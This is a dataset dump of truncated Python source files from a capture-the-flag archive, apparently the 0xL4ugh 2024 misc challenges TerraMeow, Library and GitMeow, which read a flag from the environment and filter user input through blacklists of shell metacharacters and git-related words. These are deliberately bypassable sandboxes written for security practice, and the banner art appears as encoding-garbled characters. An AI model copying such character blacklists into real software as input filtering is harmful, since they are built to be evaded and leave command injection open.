| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/TerraMeow/challenge.py | ctfs/0xL4ugh/2024/misc/TerraMeow/challenge.py | import os
from banner import monkey
BLACKLIST = ["|","'",";", "$", "\\", "#", "*", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode('utf-8')
return True
except UnicodeDecode... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/Library_Revenge/challenge.py | ctfs/0xL4ugh/2024/misc/Library_Revenge/challenge.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/Library/challenge.py | ctfs/0xL4ugh/2024/misc/Library/challenge.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow/banner.py | ctfs/0xL4ugh/2024/misc/GitMeow/banner.py | monkey="""
โโโฑโโโโโโฒโโโHMโHM
โโฑโโโฑโโฒโฒโฒโโโโHMMM
โฑโโโฑโโฑโโโโโโฒโโฎโโ
โโโโโโฑโโฒโฑโโฒโโฎโโโ
โโโโฐโโโโโโโโโโฏโโ
โฒโโโฒโฑโโญโฎโโโณโฒโฒโโโ
โโฒโโโโญโโโโโฏโโโโโ
โโโฒโโฒโโโโโโโฑโฑโโโ
โโโโโโโโโโโโโโโฒโ
โโโโโโโโโโโโโฒโโโฒ
โโฑโโฒโโโโโโโโโฑโโฒโ
โโ โโโโฐโโโโโฏโโโโโ
โโฒโโโโฒโโโโโฑโโโโฑโโฒ
โโโฒโโโโโโโโโโโฑโฒโฒโฒโ
โโฑโโโโโโโโโโโโโฒโโ
โโฒโโโโฑโโโโโฒโโโโฑโ
Hmmmmmm... Try Harder ๐
""" | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow/challenge.py | ctfs/0xL4ugh/2024/misc/GitMeow/challenge.py | import os
from banner import monkey
BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode('utf-8')
return True
ex... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.